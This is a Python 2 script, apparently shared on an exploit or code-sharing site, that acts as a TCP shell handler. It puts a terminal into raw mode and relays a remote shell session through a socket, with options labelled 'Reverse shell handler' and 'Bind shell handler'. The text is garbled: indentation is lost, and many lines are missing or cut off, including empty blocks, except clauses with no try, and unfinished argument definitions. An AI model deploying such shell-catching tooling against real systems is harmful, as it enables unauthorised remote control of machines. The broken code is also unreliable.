Title: tcp_pty_shell_handler.pyAuthor: unknowndevice64
#!/usr/bin/env python2
import termios
import select
import socket
import os
import fcntl
import argparse

class PTY:
def __init__(self, slave=0, pid=os.getpid()):
# apparently python GC's modules before class instances so, here
# we have some hax to ensure we can restore the terminal state.
self.termios, self.fcntl = termios, fcntl

# open our controlling PTY
self.pty = open(os.readlink("/proc/%d/fd/%d" % (pid, slave)), "rb+")

# store our old termios settings so we can restore after
# we are finished
self.oldtermios = termios.tcgetattr(self.pty)

# get the current settings se we can modify them
newattr = termios.tcgetattr(self.pty)

# set the terminal to uncanonical mode and turn off
# input echo.
newattr[3] &= ~termios.ICANON & ~termios.ECHO

# don't handle ^C / ^Z / ^\
newattr[6][termios.VINTR] = '\x00'
newattr[6][termios.VQUIT] = '\x00'
newattr[6][termios.VSUSP] = '\x00'

# set our new attributes
termios.tcsetattr(self.pty, termios.TCSADRAIN, newattr)

# store the old fcntl flags
self.oldflags = fcntl.fcntl(self.pty, fcntl.F_GETFL)
# fcntl.fcntl(self.pty, fcntl.F_SETFD, fcntl.FD_CLOEXEC)
# make the PTY non-blocking
fcntl.fcntl(self.pty, fcntl.F_SETFL, self.oldflags | os.O_NONBLOCK)

def read(self, size=8192):
return self.pty.read(size)

def write(self, data):
ret = self.pty.write(data)
return ret

def fileno(self):
return self.pty.fileno()

def __del__(self):
# restore the terminal settings on deletion
self.termios.tcsetattr(self.pty, self.termios.TCSAFLUSH, self.oldtermios)
self.fcntl.fcntl(self.pty, self.fcntl.F_SETFL, self.oldflags)

class Shell:
def __init__(self, addr, bind=True):
self.bind = bind
self.addr = addr

if self.bind:
self.sock = socket.socket()

def handle(self, addr=None):
addr = addr or self.addr
if self.bind:
sock, addr = self.sock.accept()
sock = socket.socket()

# create our PTY
pty = PTY()

# input buffers for the fd's
buffers = [ [ sock, [] ], [ pty, [] ] ]
def buffer_index(fd):
for index, buffer in enumerate(buffers):
if buffer[0] == fd:
return index

readable_fds = [ sock, pty ]

data = " "
# keep going until something deds
while data:
# if any of the fd's need to be written to, add them to the
# writable_fds
writable_fds = []
for buffer in buffers:
if buffer[1]:

r, w, x = select.select(readable_fds, writable_fds, [])

# read from the fd's and store their input in the other fd's buffer
for fd in r:
buffer = buffers[buffer_index(fd) ^ 1][1]
if hasattr(fd, "read"):
data = fd.read(8192)
data = fd.recv(8192)
if data:

# send data from each buffer onto the proper FD
for fd in w:
buffer = buffers[buffer_index(fd)][1]
data = buffer[0]
if hasattr(fd, "write"):

# close the socket

if __name__ == "__main__":
# I could do this validation with regex.. but meh.
def AddressString(value):
address = value.split(":")

if len(address) != 2:
raise argparse.ArgumentTypeError("Address must be in format IP:Port.")

if len(address[0].split(".")) != 4:
raise argparse.ArgumentTypeError("Invalid IP length.")

for octet in address[0].split("."):
if int(octet) > 255 or int(octet) < 0:
raise argparse.ArgumentTypeError("Invalid octet in address.")
except ValueError:
raise argparse.ArgumentTypeError("Invalid octet in address.")

address[1] = int(address[1])
if address[1] < 0 or address[1] > 65535:
raise argparse.ArgumentTypeError("Invalid port number")
except ValueError:
raise argparse.ArgumentTypeError("Invalid port number.")

return tuple(address)

parser = argparse.ArgumentParser()

group = parser.add_mutually_exclusive_group(required=True)
group.add_argument("-b", "--bind", help="Reverse shell handler.",
group.add_argument("-c", "--connect", help="Bind shell handler.",
parser.add_argument("address", type=AddressString,
help="IP address/port to bind/connect to.")
args = parser.parse_args()

s = Shell(args.address, bind=args.bind)

Submitted On: 2019-05-18 13:27:24